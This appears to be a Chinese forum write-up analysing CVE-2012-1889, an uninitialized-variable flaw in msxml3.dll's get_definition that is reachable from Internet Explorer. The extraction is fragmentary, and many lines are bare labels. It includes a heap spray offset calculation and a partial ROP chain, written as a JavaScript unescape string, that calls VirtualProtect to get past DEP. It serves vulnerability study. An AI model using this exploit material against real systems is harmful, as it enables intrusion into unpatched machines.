CVE-2012-1889 暴雷漏洞分析报告
还是参考了不少资料的。底部会附上一些连接。POC用的是15pb老师给的,有一说一javascript学的太差,那段时间请假了日可能也有很多地方说的不对,还请谅解。
msxml3.dll
call [ecx+0x18]
ecx
00000000
[eax]
eax
[ebp-0x14]
0c0c0c0c
img.src
InvokeHelper
FindIndex
VariantInit
VT_EMPTY
+ 0x18
EIP
+8
obj15PB.definition(0);
get_definition
0x72861
0x695D0000
invokeHelper
0x69601B85
0x69641861
call [esi+0x20]
[esi+0x20]
在IDA中 定位 get_definition后,发现其参数有两个,this指针和**IXMLDOMNode这个是符号给的类型,应该不会错
this指针
**IXMLDOMNode
返回值应该仅仅是个bool。
再回到invokeHelper中查看对其参数和返回值的处理
&取地址的
`处于崩溃EIP
v19
再回到get_definition中
a2
v5
getDefinition
而函数返回后,则正是调用a2指向的内容,可是在一定情况下a2并未初始化
==这应该就是漏洞产生的原因,查看一下主机W10里的msxml3.dll,应该已经对此处进行了修复==
W10 的 msxml3.dll 的 get_definition
无法确定的不安全数值
nameProp
definition
调用
栈内未初始化数据
崩溃
利用上实际上分为IE6/IE8 区别在于是否有DEP和随即基址的存在。 这里就直接写IE8的了,理论上在IE6也能用 并且精准堆喷的计算方式,构造方式实际上都已经有很明确的公式和示例代码,这里就不多赘述了。
利用上实际上分为IE6/IE8 区别在于是否有DEP和随即基址的存在。
这里就直接写IE8的了,理论上在IE6也能用
并且精准堆喷的计算方式,构造方式实际上都已经有很明确的公式和示例代码,这里就不多赘述了。
ret2libc
DEP
EAX==0x0C0C0C0
EAX == 0x0C0C0C08
EAX
0x1000
/2
unicode
0c0c0c08
!heap -p -a 0x0c0c0c08
UserPtr
((0x0c0c0c08-0x0c050020)%0x1000)/2=0x5F4
/
构造出来的ret2libc
var cRet2Libc
=
unescape(
"\u0c0c\u0c0c"
+
"\uA686\u7470"
ret
"\u7599\u775D"
pop esi ,ret
"\u5789\u775A"
xchg eax,esp
"\u2347\u75EC"
vritualProtect
"\u0C40\u0C0C"
address
"\u1000\u0000"
size
"\u0040\u0000"
new
"\uEFFC\u77C2"
);
附上部分参考链接:c++ - 正确的VARIANT初始化 - IT工具网 (coder.work)VariantInit function (oleauto.h) - Win32 apps | Microsoft DocsnameProp property (Internet Explorer) | Microsoft Docs)[XMLDOMNode.definition - msdn]======这url里带括号就不做成超链接了,手动复制一下吧https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms764733(v=vs.85)主要思路和流程是从这个链接来的,感谢大佬nEINEI的分享。如果不看其他的参考,完全想不到有个函数叫get_definition……另外大佬的文章中上来就提到了临时变量未初始化,虽然整个自己分析完的确是一个临时变量导致的,但是完全没分析过的话还是一头雾水。
临时变量
[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课
HeyLXF 你的IDA是用了什么特殊字体吗